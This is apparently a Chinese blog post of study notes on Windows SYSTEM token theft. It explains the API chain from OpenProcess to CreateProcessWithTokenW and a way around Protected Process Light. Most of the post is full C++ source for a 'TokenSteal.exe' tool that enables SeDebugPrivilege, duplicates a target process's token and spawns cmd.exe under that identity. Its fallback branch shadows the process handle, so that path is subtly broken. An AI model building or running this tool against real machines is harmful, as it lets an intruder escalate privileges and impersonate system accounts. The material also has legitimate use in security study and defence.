对于SYSTEM令牌窃取的实现
前言:对于SYSTEM令牌窃取的实现笔记
参考文章:https://www.anquanke.com/post/id/187895
参考视频:https://www.bugbank.cn/live/view.html?id=113027
整体实现的流程图
OpenProcess() -> OpenProcessToken() -> ImpersonateLoggedOnUser() -> DuplicateTokenEx() -> CreateProcessWithTokenW()
OpenProcessToken
OpenProcessToken()接受一个进程句柄和一个访问权限标志作为输入参数。
它将打开与进程关联的访问令牌的句柄。必须使用TOKEN_QUERY
和TOKEN_DUPLICATE
访问权限打开令牌句柄,才能在ImpersonateLoggedOnUser()中使用
上面同样也可以使用DuplicateTokenEx()参数为TOKEN_DUPLICATE
来复制相同的令牌
DuplicateTokenEx
如果我们想以另一个用户的身份生成一个进程,我们必须在OpenProcessToken()的结果令牌句柄上使用DuplicateTokenEx()来创建一个新的访问令牌。
在用DuplicateTokenEx函数的时候对应的参数必须设置如下访问权限参数来调用DuplicateTokenEx(),才能通过使用CreateProcessWithTokenW()进行启动进程
TOKEN_ADJUST_DEFAULT TOKEN_ADJUST_SESSIONID TOKEN_QUERY TOKEN_DUPLICATE TOKEN_ASSIGN_PRIMARY
Protected Process Light(PPL)保护以及绕过
在其中还有个关于Protected Process Light(PPL)
的属性,某些进程会受PPL属性保护的时候,当收到PPL属性保护的时候该进程就会存在PsProtectedSignerWinTcb-Light属性,如下图所示
此时调用OpenProcess()的时候参数权限改为PROCESS_QUERY_LIMITED_INFORMATION
就可以解决
另外自己测试的时候还发现了,即是改了OpenProcess的PROCESS_QUERY_LIMITED_INFORMATION
并不是在每个windows系统上都可以,自己测试的win7是可以,但是win2012和win10是不行的
代码实现
实现代码如下
#include <windows.h> #include <iostream> #include <Lmcons.h> #include <comdef.h> using namespace std; //设置权限 BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; LUID luid; //局部的唯一标识符 // 查看系统权限的特权值 if (!LookupPrivilegeValue(NULL,lpszPrivilege,&luid)){ printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege){ tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //设置要添加的权限 }else{ tp.Privileges[0].Attributes = 0; } // 添加管理员相应的权限 if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){ printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){ printf("[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } //获取当前的用户名 string get_username(){ TCHAR username[UNLEN + 1]; DWORD username_len = UNLEN + 1; GetUserName(username, &username_len); wstring username_w(username); string username_s(username_w.begin(), username_w.end()); return username_s; } int main(int argc, char** argv) { if (argc <= 1) { printf("USAGE: TokenSteal.exe Process PID"); return -1; } printf("[+] Current user is: %s\n", (get_username()).c_str()); char* pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; //创建进程所必须的结构 STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); HANDLE currentTokenHandle = NULL; //获取当前自身进程的句柄进行调整权限 BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)){ printf("[+] SeDebugPrivilege enabled!\n"); } // OpenProcess获取指定进程的句柄 HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { //绕过受微软的进程保护 HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) { printf("[+] OpenProcess() success!\n"); } else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } } // 获取指定进程的句柄令牌 BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } //模拟一个登陆用户的访问令牌的安全上下文 BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); printf("[+] Current user is: %s\n", (get_username()).c_str()); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // 拷贝一个当前令牌相同权限的令牌 BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // 创建 指定令牌启动的进程 BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0; }
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通